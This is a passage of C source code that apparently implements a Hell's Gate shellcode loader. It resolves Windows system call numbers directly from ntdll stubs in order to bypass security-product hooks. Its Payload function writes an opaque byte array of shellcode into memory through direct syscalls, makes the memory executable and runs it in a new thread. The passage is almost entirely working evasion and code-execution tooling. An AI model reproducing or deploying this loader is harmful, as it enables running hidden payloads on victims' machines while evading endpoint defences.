217 | && *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
218 | BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
219 | BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
220 | pVxTableEntry->wSystemCall = (high << 8) | low + idx;
221 | return TRUE;
222 | }
223 |
224 | }
225 | return FALSE;
226 | }
227 | }
228 | }
229 |
230 | return TRUE;
231 | }
232 |
233 | BOOL Payload(PVX_TABLE pVxTable) {
234 | unsigned char payload[] = { 0x7d ,0xa6 ,0x42 ,0x8c ,0x12 ,0x34 ,0x46 ,0x36 ,0xa2 ,0x86 ,0xe1 ,0x9d ,0xa1 ,0xb3 ,0xbd,
235 | 0xbe ,0x48 ,0x7f ,0xf3 ,0x0e ,0xa3 ,0xf3 ,0xc4 ,0x5c ,0x38 ,0xf1 ,0x69 ,0x0d ,0x25 ,0x95,
236 | 0xaa ,0x57 ,0x36 ,0x26 ,0x57 ,0x02 ,0x05 ,0x8f ,0x4e ,0xda ,0x4a ,0x2e ,0x1c ,0x99 ,0x7d,
237 | 0x52 ,0x98 ,0x1a ,0xf5 ,0x7d ,0xbb ,0x91 ,0x8f ,0xa5 ,0x24 ,0xb4 ,0xcc ,0x37 ,0x3e ,0xf0,
238 | 0x18 ,0xec ,0x20 ,0x0c ,0xdb ,0x74 ,0x92 ,0x3a ,0xf7 ,0xdb ,0x0a ,0x90 ,0x0c ,0x90 ,0x23,
239 | 0xdd ,0x1c ,0x93 ,0xd4 ,0x49 ,0x79 ,0x65 ,0x53 ,0xde ,0x2f ,0x88 ,0xc7 ,0x76 ,0x73 ,0x55,
240 | 0x98 ,0xde ,0x24 ,0x09 ,0xde ,0x95 ,0x5b ,0xc8 ,0xa1 ,0x03 ,0xa0 ,0xcc ,0x7a ,0x5a ,0xf2,
241 | 0x76 ,0x43 ,0x71 ,0x99 ,0xf0 ,0xdc ,0x75 ,0xaa ,0xb4 ,0x83 ,0x58 ,0xa5 ,0xad ,0x12 ,0xaf,
242 | 0xea ,0xa5 ,0xce ,0xa8 ,0xc7 ,0xdd ,0x4d ,0xcf ,0xdf ,0xf8 ,0xf1 ,0x76 ,0x9c ,0x47 ,0x8d,
243 | 0xca ,0xd0 ,0x69 ,0xf9 ,0xb3 ,0x11 ,0x18 ,0xc4 ,0x1f ,0x82 ,0x93 ,0x31 ,0xa7 ,0xff ,0x1a,
244 | 0x0b ,0x50 ,0x72 ,0xb3 ,0x13 ,0xbc ,0x02 ,0xdc ,0x98 ,0x77 ,0x36 ,0x2d ,0x86 ,0x6f ,0x4f,};
245 |
246 | NTSTATUS status = 0x00000000;
247 | PVOID lpAddress = NULL;
248 | SIZE_T sDataSize = sizeof(payload);
249 | HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
250 | status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
251 | ULONG writtenBytes = 0;
252 | HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
253 | status = HellDescent((HANDLE)-1, lpAddress, payload, sizeof(payload), &writtenBytes);
254 | //VxMoveMemory(lpAddress, payload, sizeof(payload));
255 | // Change page permissions
256 | ULONG ulOldProtect = 0;
257 | HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
258 | status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
259 |
260 | // Create thread
261 | HANDLE hHostThread = INVALID_HANDLE_VALUE;
262 | HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
263 | status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
264 |
265 | // Wait for 1 seconds
266 | LARGE_INTEGER Timeout;
267 | Timeout.QuadPart = -10000000;
268 | HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
269 | status = HellDescent(hHostThread, FALSE, &Timeout);
270 |
271 | return TRUE;
272 | }
273 |
274 | PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
275 | char* d = dest;
276 | const char* s = src;
277 | if (d < s)
278 | while (len--)
279 | *d++ = *s++;
280 | else {
281 | char* lasts = s + (len - 1);
282 | char* lastd = d + (len - 1);
283 | while (len--)
284 | *lastd-- = *lasts--;
285 | }
286 | return dest;
287 | }
288 |
--------------------------------------------------------------------------------